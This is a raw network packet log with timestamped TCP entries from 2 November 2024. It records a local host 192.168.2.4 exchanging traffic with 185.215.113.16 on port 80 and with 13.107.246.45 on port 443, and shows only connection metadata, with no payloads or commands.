Nov 2, 2024 07:16:15.525125027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525132895 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525136948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525141954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525156975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525182009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525183916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525192976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525206089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525217056 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525218010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525229931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525237083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525245905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525257111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525269985 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525288105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525347948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525357962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525367975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525381088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525392056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525393009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525403976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525405884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525433064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525437117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525449038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525460958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525468111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525480032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525485039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525492907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525507927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525533915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525568008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525578022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525602102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525614023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525614023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525634050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525643110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525655985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525665045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525675058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525686026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525696039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525696993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525732994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525738955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525751114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525795937 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525837898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525849104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525861025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525871038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525880098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525882959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525901079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525902033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525913954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525923967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525930882 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525939941 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525943041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525954962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525965929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.525969982 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.525990963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.526010990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.526191950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.526242018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.526279926 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.556803942 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.557936907 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.567106962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.567120075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.567130089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.567189932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.567234993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.569636106 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.569667101 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.570303917 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.570317984 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.571868896 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.571887970 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.572221041 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.572226048 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.590214968 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.593529940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593549967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593561888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593588114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593596935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593616009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593624115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593646049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593656063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593657017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593667984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593683004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593698978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593745947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593760014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593770981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593780994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593781948 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593794107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593815088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593825102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593854904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593866110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593875885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.593898058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.593909025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594028950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594048023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594058037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594069004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594083071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594094038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594168901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594180107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594188929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594208002 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594214916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594219923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594225883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594237089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594238043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594249964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594259977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594259977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594273090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594281912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594294071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594317913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594325066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594331026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594358921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594364882 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594368935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594389915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594398975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594405890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594428062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594439030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594455004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594465017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594474077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594490051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594495058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594674110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594685078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594696045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594712973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594738007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594749928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594753981 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594780922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594783068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.594790936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.594822884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595102072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595148087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595151901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595164061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595195055 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595213890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595225096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595236063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595247030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595262051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595273018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595344067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595355988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595366955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595377922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595387936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595391035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595400095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595406055 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595419884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595426083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595429897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595447063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595447063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595459938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595468998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595469952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595479965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595480919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595493078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595501900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595503092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595515966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595525980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595539093 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595546961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595555067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595562935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595571995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595583916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595585108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595596075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595603943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595607996 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595618010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595624924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595629930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595632076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595643044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595659971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595660925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595673084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595675945 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595685005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595700026 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595716000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595762014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595839024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595882893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595895052 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595906019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595916986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595926046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595928907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595941067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595946074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595951080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.595963955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.595993042 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596074104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596084118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596093893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596113920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596115112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596126080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596152067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596164942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596182108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596193075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596201897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596216917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596216917 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596227884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596242905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596256018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596261978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596292973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596358061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596369982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596379995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596390963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596401930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596405029 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596414089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596415043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596434116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596445084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596456051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596463919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596467972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596479893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.596483946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596498013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.596517086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.601491928 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.601512909 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.603497028 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.603502035 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.612282038 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.612306118 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.612343073 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.612371922 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.612417936 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.612593889 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.612610102 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.612622023 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.612627983 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.642246962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642260075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642276049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642324924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.642359972 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.642488956 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642549992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642560959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642570972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642590046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.642621994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.642895937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642950058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642961979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.642990112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643043995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643054008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643065929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643078089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643088102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643095016 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643100977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643102884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643112898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643125057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643127918 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643142939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643155098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643157959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643165112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643176079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643178940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643193960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643199921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643205881 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643217087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643219948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643232107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643241882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643241882 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643259048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643270016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643275023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643281937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643286943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643330097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643336058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643347979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643357992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643374920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643376112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643399000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643420935 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643426895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643439054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643449068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643460989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643470049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643496037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643544912 CET	80	63819	185.215.113.16	192.168.2.4
